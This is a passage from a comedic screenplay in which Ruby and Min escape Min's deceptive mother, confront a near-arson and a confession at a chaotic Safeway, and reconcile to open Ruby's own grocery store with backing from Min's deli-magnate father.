wall and slides down, cradling her\nhead in her hands. Min gets up and slides next to her.\nMIN (CONT’D)\nI had fun last night.\nRuby’s pitiful hungover aura is suddenly penetrated. She\nsmiles and looks over to Min.\nRUBY\nMe too.\nThey sit there quietly giggling to themselves as memories\nfrom the night before blissfully come back to them.\nEXT. SUBURBAN NEIGHBORHOOD – MORNING\nThe PT Cruiser rolls up in front of a plain house. Min and\nRuby both look through the passenger window at it.\nRUBY\nI wish you nothing but luck and\nprosperity with Jasmine.\nMIN\nAre you gonna be okay?\nRUBY\nFrom the hangover? Only time will\ntell.\nMIN\nAre you gonna be okay after the\nhangover?\nRuby smiles to herself.\nRUBY\nYeah, I think so. I have the gift\nof age-identification. I’m\nunstoppable.\nMin smiles and stationarily imitates Ruby zooming through the\nroom from the night before. She looks embarrassed.\nMIN\nThank you for bringing me here.\nRUBY\nOf course. Anything for a friend.\n\n71.\nMin gets out of the car and opens the trunk. He comes back\nover to the window, carrying his pile of clothes. He waves to\nRuby. She rolls down the window.\nRUBY (CONT’D)\nMin wait! Take this.\nShe reaches down and grabs the chat pack from her cupholder\nand hands it to him through the window.\nRUBY (CONT’D)\nIn case you guys run out of things\nto talk about.\nMin grabs it, struggling to balance his clothes.\nMIN\nThank you, Ruby.\nThey look at each other, as if waiting for the other person\nto say something. After several seconds of silence, Min nods.\nRuby nods back.\nMin turns away and heads for the front door.\nRuby rolls up the window, and when it closes, the car seems\nquieter than it’s ever been.\nShe opens the center console and pulls out a large paper map.\nAs she unfolds it dramatically, something falls out.\nIt’s the friendship card from Walgreens. Ruby picks it up and\nlooks out the window to catch a glimpse of the front door\nclosing. She looks to her empty passenger seat.\nMin isn’t there. And it hurts.\nEXT. FRONT DOOR – DAY\nMin rings the doorbell. The door opens, but no one’s there.\nMIN\nJasmine? It’s Min.\nMin cautiously enters with his clothes and chat pack in tow.\nINT. JASMINE’S HOUSE - DAY\nThe walls of the house are overwhelmingly orange.\n\n72.\nMIN\nI like your walls. Orange is my\nfriend Ruby’s favorite color,\nactually.\nHe wanders further into the house, admiring the orangeiness.\nMIN (CONT’D)\nShe thinks her favorite color\nshould be Safeway red, but... I\nthink orange makes her happy.\nStill no sign of Jasmine. Min looks down at the chat pack.\nMIN (CONT’D)\nI know my profile said I’m an\nastronaut. But uh...\nMin swallows her nervousness.\nMIN (CONT’D)\nI’m actually a deli man. Preparing\ncold cuts and sliced cheeses is\nwhat I love to do. And I’ve been\ntold it’s one of the coolest\ncareers in the world. I would love\nto tell you about it if you-\nFrom around the corner, a flabbergasted MAMA MIN appears. All\ndialogue in italics is spoken in Korean.\nMAMA MIN\nA deli boy?\nMin looks terrified.\nMIN\nMama?\nMAMA MIN\nFirst you run away from me. Then\nyou pursue the devil’s career path?\nMIN\nWhere’s Jasmine? What did you do to\nher?\nMAMA MIN\nThere never was a Jasmine. Just\nMama.\nIn a state of heartbreak and fear, Min glances down. Sticking\nout just below the bottom of his shorts pokes out “Rule\nNumber 1: Never run away from Mama.”\n\n73.\nMAMA MIN (CONT’D)\nIt’s time to go home now, son.\nMin looks towards the front door. He looks back at his\nmother. She suddenly realizes what’s about to happen.\nMAMA MIN (CONT’D)\nDon’t make Mama angry.\nMin’s fear is replaced with determination.\nMIN\nI’m not a deli boy, Mama.\nShe looks on with curiosity.\nMAMA MIN\nI’m a deli man.\nHe takes off towards the front door.\nEXT. STOP LIGHT - DAY\nRuby sits at a red light to the tune of her left blinker. As\ntime passes, a faint scream is heard in the distance.\nMIN (O.S)\nRuby!\nRuby’s oblivious.\nMIN (O.S) (CONT’D)\nRuby! Ruby!\nThe shouts grow louder, but not enough to distract Arizona’s\nsafest driver.\nThe light turns green, and just as she hits the gas, she\ncatches the sight of Min in her rearview mirror. He’s running\nwith his pile of clothes in his arms.\nRUBY\nMin?\nShe slams on the brakes. He’s still pretty far away. She\nrolls down her window and shouts to him.\nRUBY (CONT’D)\nHold on! I’m going to put my car in\nreverse and back up until I reach\nyou or the situation becomes\nunsafe!\n\n74.\nShe throws the purple stallion in reverse, throws her hand\nbehind the passenger headrest, whips her head around, and\nbacks up…\n…at about three miles an hour. Min might actually be running\nfaster. They slowly approach a midpoint until they safely but\nungracefully collide.\nRUBY (CONT’D)\nOh god, Min! Are you okay?\nMin hurriedly gets in his familiar passenger seat.\nMIN\nGo!\nRUBY\nWhat happ-\nMIN\nRuby go! Go!\nJust then, Ruby looks in the rearview mirror. Sprinting down\nthe center of the road is MAMA MIN, Min’s evil yet incredibly\nnimble mother.\nRUBY\nOh my, is that your-\nMIN\nYes! Please go!\nRuby throws it in drive and re-approaches the stoplight. She\nturns on her left blinker and waits at the red light.\nMIN (CONT’D)\nWe can’t wait for it to turn green!\nRUBY\nI can’t control the lights, Min!\nWhen they’re red, they’re red!\nMIN\nWell turn right then! That’s\nallowed!\nRUBY\nHuh. That’s quite the loophole\nyou’ve found. Not a bad-\nMIN\nHurry!\n\n75.\nShe puts her hazards on, repeats her cautious backup process,\nand uses her right blinker to change lanes. As she tries to\nturn right, there’s a steady stream of oncoming cars.\nMama Min is fast approaching, she runs like an Olympian.\nMIN (CONT’D)\nHurry! She’s almost here!\nMAMA MIN\nYou can’t keep running from me!\nRight when she is within leaping distance, the light turns\ngreen. Ruby quickly turns right and they take off on the open\nroad. Min’s mother turns the corner, but knows she can’t keep\nup to their speed any longer. She drops to her knees and\nscreams.\nINT. CAR - DAY\nRuby and Min, both in shock, drive in their familiar,\ncomfortable silence. Ruby waits a bit before asking.\nRUBY\nSo…Min?\nHe looks to her.\nRUBY (CONT’D)\nThat…that was your mother?\nMin nods.\nRUBY (CONT’D)\nWas she with Jasmine?\nMIN\nShe was Jasmine.\nRUBY\nOh.\nMin’s reality slowly sets in again. The silence hangs\nheavily.\nRUBY (CONT’D)\nMin, I’m so sorry. I should have\nwaited outside to make sure you\nwere safe. That’s what a real\nfriend would have done.\nRuby starts smacking herself on the forehead.\n\n76.\nRUBY (CONT’D)\nStupid stupid stupid!\nMin pulls her hand back.\nMIN\nRuby, you did save me. If it wasn’t\nfor your cautious driving and\nobeying of traffic laws, I would\nhave been running for the rest of\nmy life. And my mother certainly\nwould have caught up to me by that\npoint.\nRUBY\nShe’s fast.\nMIN\nShe’s always been fast.\nMin shudders.\nINT. SAFEWAY DRUG AISLE – DAY\nRuby and a noticeably sweaty Min stand side by side looking\nat their options for bottled water. He reaches for a bottle\nof Life Water\nRUBY\nBrand check.\nMin realizes he hasn’t grabbed the Signature Select variety.\nHe puts the Life Water back and grabs the Safeway brand. Ruby\nnods in approval.\nINT. SAFEWAY SELF CHECKOUT STATION – DAY\nMin scans his item. The MACHINE beeps, and Min places the\nitem in the bag.\nMACHINE LADY VOICE\nPlease place the item in the bag.\nMin looks at Ruby, who gives an “I told you so” look. Min\ntakes the item from the bag and puts it back in the bag.\nMACHINE LADY VOICE (CONT’D)\nPlease place the last item back in\nthe bagging area.\nMin replaces the item. There’s a pause.\n\n77.\nMACHINE LADY VOICE (CONT’D)\nPlease place the item in the bag.\nMIN\nWhat does she want from us?\nRUBY\nJust try scanning the bottle again.\nMin scans it again.\nMACHINE LADY VOICE\nPlease wait for an attendant.\nThe station’s light begins blinking.\nRUBY\nI’m half tempted to fix this\nmyself, but I wouldn’t dare rob the\npoor self-checkout attendee an\nopportunity to interact with a\npatron.\nThe two look over towards the employee stand. There stand two\nHIGH SCHOOL BOYS, lacking the work ethic Ruby would deem\nnecessary, oblivious to the blinking light.\nHIGH SCHOOL BOY 1\nDid I tell you, man? I shaved my\nlegs last night.\nHIGH SCHOOL BOY 2\nNo way!\nHIGH SCHOOL BOY 1\nI was just shaving my face and I\nfinished way earlier than I\nexpected.\nHIGH SCHOOL BOY 2\nSure, sure.\nHIGH SCHOOL BOY 1\nYou wanna feel?\nHIGH SCHOOL BOY 2\nYou’d be cool with that?\nHIGH SCHOOL BOY 1\nOf course I would.\nThe first boy begins rolling up his pant leg and the second\nboy places his hand on the first boy’s calf.\n\n78.\nRUBY\nExcuse me!\nThe boys look up mid calf stroke.\nHIGH SCHOOL BOY 1\nOh, pardon me ma’am. I’ll be right\nthere.\nHe rolls his pants down and walks towards their station.\nHIGH SCHOOL BOY 1 (CONT’D)\nThe machine get angry at ya?\nMIN\nYes. And I got angry at the\nmachine.\nHIGH SCHOOL BOY 1\nAh, see? Can’t do that. It can\nsense anger.\nThe attendant takes a deep breath, eyes closed, and scans the\nbottle of rubbing alcohol. The error message disappears and\nthe item successfully scans.\nRUBY\nThis can’t be how they trained you\nto fix that.\nThe second boy is suddenly behind them.\nHIGH SCHOOL BOY #2\nNo, but it’s how the machines want\nus to fix them.\nThe boys both give a slight bow in unison and return to their\nstand. Min pays for the items, Ruby deeply pondering what she\njust witnessed.\nEXT. SAFEWAY PARKING LOT – DAY\nRuby leans against the car, staring at the store sign.\nMIN\nImagining a chalet entrance?\nRuby whips around.\nRUBY\n(knowingly)\nNoooo.\n\n79.\nMIN\nI think it would look really nice.\nRuby smiles.\nEXT. AMERICAN FALLS CITY STREET - DAY\nThe PT Cruiser sails past a sign that reads “American Falls.”\nEXT. ALPHA SAFEWAY – DAY\nRuby is in her work uniform. Shirt starched, pants ironed,\nname tag perfectly horizontal, bra still visible. Whatever\nhangover remains hides behind her excitement.\nThis is her Mecca, her Disneyland, her Atlantis, and her face\nisn’t hiding the tidal wave of emotion flooding her body.\nRUBY\nIt’s beautiful. I don’t think I’m\nready though-\nRuby turns around and starts to head back towards the car.\nMIN\nHey Ruby?\nShe turns back towards him.\nMIN (CONT’D)\nI think you’re ready.\nShe takes a deep breath and returns to his side. The dynamic\nduo take a few steps forward and enters-\nINT. ALPHA SAFEWAY – DAY\nHer eyes light up, dramatic music plays, her face is glowing.\nBut as her vision focuses-\nChaos.\nAn angry patron is screaming at a cashier, who then takes her\ncarton of eggs and slams them to the floor.\nTwo patrons crash into one another with their shopping carts\nin a battle for the last can of Ranch-style beans.\nTo the left, produce rolls around on the floor as a child\nknocks over the displays. A WITHERED EMPLOYEE follows him.\n\n80.\nWITHERED EMPLOYEE\nWhere is mommmy, little boy? Where\nthe hell is MOMMY?\nRuby gives a concerning look to Min. They walk over to-\nINT. SAFEWAY CUSTOMER SERVICE - CONTINUOUS\n-where they see KATRINA the manager (45) with a lot of makeup\non for someone not in eighth grade.\nRUBY\nHi there! My name is Ruby and I was\nhoping to so humbly app-\nKatrina looks up from her phone.\nKATRINA\nThere’s a big mess outside the fish\ncase, could you grab the bucket and\nhelp Steve get those shrimp back on\nthe ice?\nRUBY\nI actually don’t work here…yet. My\nname is Ruby and I hail from the\ngreat state of Arizo-\nKATRINA\nConsider yourself hired. The\nbucket’s in the back closet by the\nbathrooms, which probably need\ncleaning too. I don’t think anyone\ngave birth in there, but I’ll be\ndamned if that’s not a placenta in\nthe trash can.\nRUBY\nUm, well you know, my specialties\nactually lie within alcohol sales.\nI have nearly ten-years of\nexperience and I’ve been recently\nretrained in correctly identifying-\nKATRINA\nYou want a job or not? Because the\njob I just gave you was to grab the\nbucket and help Steve. He has\ncarpel tunnel and won’t be able to\nfinagle those shrimp without the\nhelp of young, dexterous fingers\nlike yours, okay? Now go!\n\n81.\nRuby nervously nods and heads towards the back. Meanwhile,\nMin has made his way over to the-\nINT. SAFEWAY DELI – DAY\n-which is weirdly peaceful and serene. There, he meets MINA,\n(28) whose demeanor weirdly echoes Min’s. She’s quiet and\nremains still as she watches Min browse the case.\nMIN\nYou cut that ham today?\nMina nods. Min nods back. More browsing.\nMin gets down to eye level with the cold cuts and potato\nsalads. He carefully scans before standing back up.\nMIN (CONT’D)\nBoar’s Head?\nMINA\nBut of course.\nMIN\nBut of course.\nMINA\nBrochure?\nMina hands Min a Boar’s Head brochure from the top of the\ncase. Min skeptically takes it from her.\nMIN\nNever seen these before.\nMINA\nHmm.\nMIN\nHmm.\nMin looks down at the pamphlet in his hand, everything seems\nto check out. He turns it over to look at the back, his\neyebrows suddenly furrowing.\nINT. SAFEWAY BACK ROOM – DAY\nRuby cracks open the door to the employee supply closet. It’s\npitch black, and she struggles to find a light switch. As she\nwalks around, a light chain from above hits her in the head.\nShe pulls on it to reveal-\n\n82.\nMALLORY, an everyday 40-year-old employee, huddled in the\ncorner.\nRUBY\nHi, uh, my name is Ruby. I think I\nwas just hired, I’m looking for-\nMALLORY\nWhatever they told you, it isn’t\ntrue. Run while you can.\nRUBY\nI’m sorry, I think you’re\nmisunderstanding. I’m just here to\nfind a bucket. For the shrimp!\nMallory sighs in disappointment. She flicks her head behind\nRuby towards the bucket.\nMALLORY\nHave at it then.\nRuby turns towards the bucket. The wall behind her catches\nher eyes and her jaw drops.\nWallpapered across the closet are hundreds of comment cards\nand employee of the month certificates.\nRUBY\nYou...\nRuby turns around, absolutely shellshocked.\nRUBY (CONT’D)\nYou’re-\nMALLORY\n-the most decorated employee in\ncompany history? I am. I was.\nRUBY\nIt’s grocery store anarchy out\nthere! Did anyone watch the\ntraining videos? Reorganize the\nstore layout? Switch the-\nMALLORY\n-shifts so that compatible employee\npersonalities are together to make\nfor a harmonious shopping\nexperience? Trust me, I tried it\nall.\n\n83.\nRUBY\nWhat happened?\nMALLORY\nI never wanted to be manager. I\nwanted to stay on the ground level\nof this operation. I finally gave\nin, and when I did, the higher ups\nlaughed at every single one of my\nideas.\nRuby stares in bewilderment of the certificates on the walls.\nThey all have Mallory’s name on them.\nMALLORY (CONT’D)\nMy boss asked me to step down after\nI suggested replacing the selfcheckout\nstations with more human\nemployees. Now they have some lady\nnamed Katrina running the place.\nMallory walks over to a discrete mini fridge.\nMALLORY (CONT’D)\nSignature Select soda?\nMallory hands Ruby a diet orange soda. They crack open the\ncans in unison.\nMALLORY (CONT’D)\nWant to hear something terrible?\nRuby looks to Mallory.\nMALLORY (CONT’D)\nA few days back, I saw on the\ncompany newsfeed that one of our\nstores in Arizona burned down.\nRuby holds herself back from saying the obvious.\nMALLORY (CONT’D)\nThey lost it all, the whole thing\njust whoosh. And the first thing I\nthought was “Lucky them. They’re\nfree.”\nA speechless Ruby exhales. Mallory goes back to sipping her\nsoda, Ruby redirects her attention to the comment-card\ncovered walls. She picks one off and stares at it: all\nexcellent boxes checked.\n\n84.\nShe holds it in her hands and stares at it. Her face of\nsadness slowly turns to one of anger. She crumples the card\nin her hand and throws the wad down at the floor.\nRUBY\nMallory, do you believe things\nhappen for a reason?\nMALLORY\nIt’s hard to believe in anything\nthese days.\nRuby is suddenly energized with purpose.\nRUBY\nGo home. Quickly.\nMALLORY\nWhat?\nRUBY\nI’m about to set you free.\nINT. SAFEWAY HALLWAY - DAY - CONTINUOUS\nRuby storms out of the closet and looks down the hallway. She\nwalks a few feet and pulls a fire alarm on the wall.\nLights flash. Alarms sound. She rushes through the store.\nRUBY\n(yelling)\nEveryone out of the store! Quickly\nand in an orderly fashion! There’s\na fire, everyone out!\nCommotion ensues as everyone runs for their lives. Around the\ncorner comes Min. He’s holding an enormous bag of ham.\nMIN\nRuby! We gotta get out of here,\nthere’s a fire!\nRUBY\nNo, there’s not. But there’s about\nto be.\nRuby looks up at the aisle signs and quickly locates the one\nlabeled “Barbecue supplies.” She grabs an abandoned cart and\nraces towards it. Min runs behind her.\n\n85.\nINT. SAFEWAY BARBECUE AISLE - CONTINUOUS\nDown the aisle, she grabs all the Signature Select lighter\nfluid they have and a box of matches.\nMIN\nWhat are you doing?\nRUBY\nDon’t you get it? This place isn’t\nany different than the rest of the\nworld. Everyone thinks I’m a joke!\nMIN\nYou’re not a joke, Ruby! You love\nSafeway! You can’t burn it down!\nINT. SAFEWAY SELF CHECKOUT AREA – DAY\nRuby scans her supplies as the alarms continue to blare.\nRUBY\nI studied the rules, the history,\nthe religion of Safeway. I felt\nlike I was a part of a real team.\nMIN\nYou were! You are!\nRuby puts her card in and completes the payment.\nRUBY\nThen why did no one tell me I was\ndoing my job wrong for ten years?\nMin fails to come up with an answer. Ruby grabs the receipt\nand races back into the store.\nINT. ENTRANCE TO ALCOHOL SECTION - DAY\nRUBY\nI’m just someone to laugh at, Min.\nThat’s what I’ve always been.\nRuby cracks open a container of lighter fluid and douses the\nmat in front of the alcohol section sliding doors.\nMIN\nRuby, there’s something-\n\n86.\nRUBY\nOur store burned down for a reason.\nI thought it was so I could\ncontinue my career here, but now\nit’s clear.\nRuby takes several steps away from the entrance and grabs a\nmatch from the box.\nMIN\nRuby, wait-\nRUBY\nBack up, Min. What I’m about to do\nis very reckless.\nSirens in the distance. Ruby strikes the match.\nMIN\nI’m the one who burned down our\nstore!\nRuby confusedly looks up at Min. He isn’t kidding. Her arm\nfalls and she drops the match on the tile floor.\nRUBY\nWhat?\nMin’s bottom jaw quivers, a tear streaming down his face.\nFLASHBACK – INT. SAFEWAY DELI – NIGHT\nThe rest of the store has its lights off. In the Deli, Min\nhas set up a green screen with powerful, professional lights\nshining towards it. Upbeat pop music is playing.\nMin sits behind a computer with a camera pointed towards the\nscreen. He clicks a button and the green screen turns into a\nshot of outer space.\nHe stands up, revealing a space suit. He puts his helmet on\nand stands in front of the screen. He poses, clicking a\nbutton to take pictures.\nOver to the side, an outlet with too many adapters plugged in\nsparks. The corner of the green screen catches fire.\nMin takes his helmet off to pose with it in his hand, visibly\nholding his breath to really sell that there’s no air in\nspace. The entire screen goes up in flames, and he finally\nnotices.\n\n87.\nMIN\nUh oh.\nHe tries to put it out, but ends up knocking the screen over,\nwhich creates a larger fire. The fire alarm goes off, he\ngrabs his laptop, and runs out of the deli.\nEND FLASHBACK\nRuby stands in disbelief. The sirens grow louder.\nRUBY\nThis whole time…it was you?\nMIN\nIt was an accident. I’m so sorry.\nRuby’s numbness is interrupted by the sudden realization of a\nfire behind her. She looks down to where she dropped the\nmatch, and a small trail of lighter fluid on the tile has\nlead to the fuel-soaked mat.\nRuby’s eyes widen in horror.\nRUBY\nFire! Fire!\nRuby pulls out her screaming meanie and sounds her personal\nalarm. As the fire grows, Min steps back, shielding his face.\nRuby instinctively runs over towards the customer service\ndesk, breaks open the fire extinguisher case, and grabs it.\nShe fearlessly runs back over to the fire and lets the\nextinguisher rip. Her face is somewhere between angry and\nheartbroken.\nFrom behind her, FIREMEN run into the store.\nFIREMAN 1\nStand clear!\nThey shove Ruby aside, only to see she’s extinguished the\nblaze herself. She stares numbly at residual foam.\nFIREMAN 2\nThat was incredibly brave of you,\nyoung lady.\nKatrina the store manager enters in disbelief.\nKATRINA\nJesus Mary and Joseph, you put out\nan actual fire?\n\n88.\nFIREMAN 1\nIf that thing had gotten into the\nalcohol section, the whole place\nwould have gone up.\nHe looks to Ruby.\nFIREMAN 1 (CONT’D)\nYou saved Safeway.\nRuby looks to Min. They have so much to say, but they stick\nto silence.\nKATRINA\nI would have let this place burn to\nthe ground. Maybe you should be\nmanager! You want the job?\nSeriously, you should take it.\nRuby hasn’t broken eye contact with Min. She holds back tears\nand rushes out the front doors of Safeway.\nEXT. SAFEWAY PARKING LOT - DAY\nPeople stand gathered near the firetrucks. Ruby runs out of\nthe entrance, Min close behind.\nMIN\nRuby, wait!\nThe onlooking crowd cheers for Ruby as she exits. She\nfrantically bursts past them.\nShe makes it to her car, Min finally catching up to her. She\nwhips around to face him.\nRUBY\nI don’t know a lot about what it\nmeans to be a friend, Min, but I\nknow they’re not supposed to lie to\neach other. Because when they do,\nthe other one hurts like I do right\nnow.\nMin somberly nods.\nRUBY (CONT’D)\nDid you...did you lie to me because\nyou thought I was too stupid to\nknow any better?\nMIN\nNo Ruby! I don’t think you’re-\n\n89.\nRuby puts up a hand.\nRUBY\nYou don’t have to say it. Everyone\nsays it. I guess I just don’t know\nwho to believe anymore.\nMin looks at a loss for words more than ever before.\nRUBY (CONT’D)\nBecause I drove you here and I’ve\nlistened to a lot of true crime\npodcasts that involve public\ntransit, I’m willing to drive you\nback to Phoenix.\nMIN\nPhoenix? You can’t go home!\nRUBY\nMy parents were right. I acted too\nrashly. Maybe the community college\nis still taking applications.\nMIN\nBut higher education is for thumb\nsuckers!\nRUBY\nYeah, well…maybe I’m a thumb-sucker\nafter all.\nA cop car with lights enters the parking lot. Min and Ruby\nfreeze until it passes and then cautiously enter the Cruiser.\nINT. CAR - DAY\nRuby freezes just before starting the car.\nRUBY\nFor the drive home, do you think\nyou could…do you think you could\njust stay quiet?\nMin looks at Ruby with guilt-filled, puppy dog eyes. He turns\nstraight ahead and gently nods.\nRuby starts her car and quietly pulls out of the parking lot.\nIt’s silent. A different, painful kind of silence.\nAs her purple beast joins the humdrum vehicles of the road,\nthe back license plate is revealed for the first time.\n\n90.\n“SAFEWAY”\nINT. RUBY’S BEDROOM – MORNING\nDarkness, with only the illuminated 7:59 of the alarm clock\nvisible. The clock strikes 8:00 and-\n-nothing.\nA soft knock at the door.\nMOM (O.S)\nRuby? Time to wake up. You don’t\nwant to be late!\nThe lifeless lump in the dark doesn’t budge.\nSUPERIMPOSE: 4 MONTHS LATER\nEXT. RALPH’S GROCERY STORE – MORNING\nRuby, aboard her valiant scooter, arrives outside the\nentrance of Ralph’s. With a deep breath, she enters.\nINT. RALPH’S CHECKOUT STAND – MORNING\nRuby scans items in the general checkout area. She silently\ngrabs a receipt after it prints, and hands it to the customer\nwith a forced smile.\nWithout looking, she greets the next customer.\nRUBY\nHi how are you doing today?\nShe looks up, only to see the suspected Ralph’s patron from\nthe opening scene. Ruby pauses for a moment, staring her\nsharply in the eyes. The woman looks confused.\nRUBY (CONT’D)\n(whispers)\nI knew you were a Ralph’s loyalist\nall along!\nWOMAN\nI’m sorry?\nRUBY\nNothing.\n\n91.\nRuby continues to scan the items. She hands her the receipt\nand the woman leaves.\nA container of cottage cheese comes down the conveyor belt.\nRuby goes to grab it and looks up to see Min.\nMIN\nHi Ruby.\nRuby is clearly caught off guard.\nRUBY\nOh...hey Min.\nMIN\nI ran into Brian. He told me you\nwere working here.\nRUBY\nYeah well, it was either working\nhere or taking classes at the local\ncommunity college.\nMIN\nI brought you something.\nMin hands Ruby a manilla envelope.\nRUBY\nMin, you don’t need to…gifts are\nfor friends.\nMIN\nI thought you could maybe put it in\nyour binder.\nRuby opens the envelope. Her jaw drops.\nShe’s holding a beautiful watercolor painting of the “Ruby’s”\ngrocery store facade. It’s beautiful, with an intricate logo\nwhere the “’s” looks a bit like the Signature Safeway “S”.\nMIN (CONT’D)\nIt’s just a draft.\nRUBY\nMin, it’s...\nMIN\nI’ve been working on it for months.\nI’ve been trying to get it just\nright.\n\n92.\nRUBY\nWhy did you do this?\nMIN\nI don’t think you’re stupid. I\nthink people who think you’re\nstupid are stupid.\nRuby chuckles to herself.\nMIN (CONT’D)\nYou were born to open this grocery\nstore. One with decently priced\nfine cheeses and no self-checkout\nmachines.\nRUBY\nRuby’s isn’t real, Min. It’s just a\ncrazy dream I had.\nMIN\nWhat if we had the means to make\nthat dream real?\nRuby furrows her eyebrows.\nEXT. HIGHWAY – MORNING\nThere she goes, the purple stallion galloping away.\nINT. CAR - MORNING\nRUBY\nWow…so this is for real?\nMIN\nI’ll never lie to you again. This\nis for real.\nEXT. WEALTHY NEIGHBORHOOD – MORNING\nRuby and Min pull into a gated neighborhood. They stop at the\nentrance booth. Ruby rolls down her window.\nBOOTH ATTENDANT\nHow can I help you?\nMin leans forward and waves.\n\n93.\nBOOTH ATTENDANT (CONT’D)\nAhh, Min! How are ya champ? Didn’t\nrecognize you without your Beemer.\nMIN\nThis is my friend Ruby.\nRuby can’t help but smile hearing her favorite title again.\nBOOTH ATTENDANT\nWell it’s wonderful to meet you,\nRuby! I’ll buzz you two in.\nThe gate opens. Ruby cautiously proceeds.\nRUBY\nWhat’s a Beemer?\nMIN\nJust a car.\nRuby drives down the street. It’s a rich man’s paradise.\nFriendly faces watering perfectly manicured lawns, wellbehaved\ndogs sitting on porches, luxury all around.\nMIN (CONT’D)\nJust keep going straight.\nThey approach a mansion at the end of the street with a giant\nBoar’s Head logo mounted to the front entrance.\nRUBY\nBoar’s Head? Like the deli brand?\nMIN\nPark wherever you like.\nThe PT Cruiser, in a sea of Beemers, Rolls Royces, and Aston\nMartins, parks right in front of the doors.\nEXT. FRONT PORCH – MORNING\nMin approaches the front door. Ruby quickly takes her Ralph’s\nname tag off and hides it as they walk inside.\nAs soon as they enter the luxurious home, round the corner\ncomes PAPA MIN, a 55-year-old Korean man with the most joyful\ndemeanor in the world.\nPAPA MIN\nMin! You made it!\n\n94.\nPapa Min hugs Min with the sort of warmth that leaves you\nquestioning your own parents’ love.\nMIN\nRuby, this is Papa.\nPAPA MIN\nRuby! What an absolute delight!\nWith all the stories Min has told\nme, you already feel like a part of\nthe family.\nRuby sheepishly grins.\nPAPA MIN (CONT’D)\nCome! Let’s sit.\nINT. PAPA MIN’S LIVING ROOM – DAY\nThe three sit down around a table of beautifully sliced cold\ncuts. Boar’s Head and deli-themed memorabilia fill the walls.\nRUBY\nPardon my question if this is too\npersonal, but how did you two\nreunite?\nMIN\nRemember when we went to Alpha\nSafeway? The deli-woman there gave\nme this.\nMin grabs a Boar’s Head brochure off the table and hands it\nto Ruby. She confusedly stares at it.\nMIN (CONT’D)\nLook at the back.\nShe flips it over to see a picture of Papa Min, beaming with\ndeli pride, above the title “Boar’s Head CEO.”\nMIN (CONT’D)\nI immediately recognized him. It’s\nas though he hadn’t aged since he\nleft my mom.\nPAPA MIN\nYou’re flattering me, son! Your\nmother’s abuse was just so taxing I\nwas aging three times the normal\nrate when I was with her. Since\nleaving her, I now age at a\nperfectly healthy rate.\n\n95.\nRUBY\nWhy didn’t you say anything on the\ncar ride home?\nMIN\nYou asked me to stay quiet.\nRuby ashamedly drops eye contact and nods to herself.\nPAPA MIN\n(to Ruby)\nAfter Min’s mother and I separated,\nI promised myself I’d pursue my\npassion as far as it would take me.\nMy passion, of course, being-\nRUBY\nDeli meat?\nPAPA MIN\nOne salami sale led to the next and\nnow I’m the CEO of Boar’s Head, the\ndeli brand America trusts most.\nMIN\nAfter we came back and I had no\nplace to stay, I reached out.\nPapa Min turns to Min.\nPAPA MIN\nSon, I will never forgive myself\nfor believing your mother when she\ntold me you froze to death at a\nhockey match. I just…you mean more\nto me than any cold cut ever could.\nI love you, Min. I hope you know\nhow much I mean that.\nMin places a hand of understanding on his father’s shoulder.\nThe two simultaneously grab a piece of deli meat from the\nplatter and scarf it down.\nPAPA MIN (CONT’D)\n(between chews)\nSo, Ruby! Min tells me you’re\nlooking for investors?\nRUBY\n(anxiously)\nWill you excuse me?\nRuby hops up and nervously runs to the-\n\n96.\nINT. PAPA MIN’S ENTRYWAY – CONTINUOUS\nMin follows behind.\nMIN\nRuby! Where are you going?\nRUBY\nI don’t deserve the responsibility\nof an entire grocery store. You saw\nme at Alpha Safeway.\nMIN\nYou just had a rough day. We’re\nallowed to have those.\nRUBY\nI was mean to you! And you didn’t\ndo anything to deserve that.\nMIN\nI did commit arson.\nRUBY\nBut that was an accident. I freaked\nout for no reason. People are right\nabout me. I’m just-\nRuby is interrupted by a sudden embrace from Min, their firstever\nhug. She’s taken off guard, but she’s not uncomfortable.\nMIN\n(whispers)\nIt’s okay.\nRuby seems to release some of her self-consciousness in his\narms. They finally let go of one another.\nMIN (CONT’D)\nWait right here.\nHe runs into the depths of the mansion. Ruby pauses to notice\nframed photos of Papa Min with large hams and prize-winning\nturkeys. And by God, it looks like he’s dabbling in women’s\nfashion in a few of the photos.\nMIN (CONT’D)\nWould this help?\nMin has returned with a bright orange name tag. It just has\n“Ruby” on it, no Safeway logo. He gives it to her. She’s\nspeechless.\nBursting with a contagious smile, Ruby nods.\n\n97.\nINT. PAPA MIN’S LIVING ROOM – CONTINUOUS\nThey return to their original spots.\nRUBY\nSorry about that, I just…\nRuby looks down at the name tag, then fastens it to her polo.\nShe has Papa Min’s full attention. She takes a deep breath.\nRUBY (CONT’D)\nWhen I was sixteen years old, I\napplied to my very first job. It\nwas at a grocery store called\nSafeway.\nMONTAGE:\n- Ruby’s enthusiasm elevates as she continues her spiel. Min\nnods along excitedly.\n- A white board has been broken out. On it, Ruby has drawn a\npyramid: the bottom level labeled “Cashiers,” the middle\nlevel labeled “Managers,” and the top level labeled “Alcohol\nSales Associates.”\n- At a coffee shop, the three sit together as Ruby flips\nthrough her binder. Papa Min is captivated.\n- Ruby, Min, and Papa Min stand in front of the site of the\nburned down Safeway. A “for sale” sign is planted in front of\nthe property. Ruby uses large hand gestures, outlining an Aframe\nentrance.\n- A ribbon cutting ceremony, though most of the building is\nout of view. Ruby’s parents arrive, her dad carrying a tray\nof deviled eggs. Their jaws drop at the out-of-view facade.\nINT. MIN’S ROOM – MORNING\nA pajama-clad Min sits on the edge of his bed reading a card\n– the one Ruby was so enamored by back in Vegas.\nRUBY (V.O)\nDear Min. I thought I had gained\neverything I needed in life from\nworking in Safeway. I learned\ndiscipline, respect, unparalleled\ncustomer service skills. And as I’m\nsure you’re well aware, my forearm\nstrength has never been better.\n\n(MORE)\n98.\nINT. MIN’S BATHROOM – MORNING\nMin brushes his teeth in the mirror.\nRUBY (V.O)\nI was perfectly content. Then one\nday, you called me something no one\nhad ever called me before. You\nopened my eyes to a whole other\nworld out there beyond the\nBottomfeeders and customer\nsatisfaction surveys.\nINT. MIN’S CLOSET - MORNING\nMin puts on an orange polo accented with brown.\nRUBY (V.O)\nThere were car rides. And casinos.\nAnd dancing. And escaping\nemotionally abusive mothers, all\nthe things that felt out of reach\nfor me. And, well, all those things\ncame into my life because of you.\nEXT. PAPA MIN’S LUXURIOUS DRIVEWAY – MORNING\nMin walks out the front door. He hops in the driver’s seat of\nhis Beemer, now embellished with baby flames on the side. He\nrevs the engine and pulls out of the driveway.\nRUBY (V.O)\nYou, Min from the Deli, are the\nonly reason I ever realized I could\nbe more than just an alcohol sales\nassociate.\nAs Min drives away, the back license plate becomes visible:\n“RUBYS”\nINT. RUBY’S GROCERY 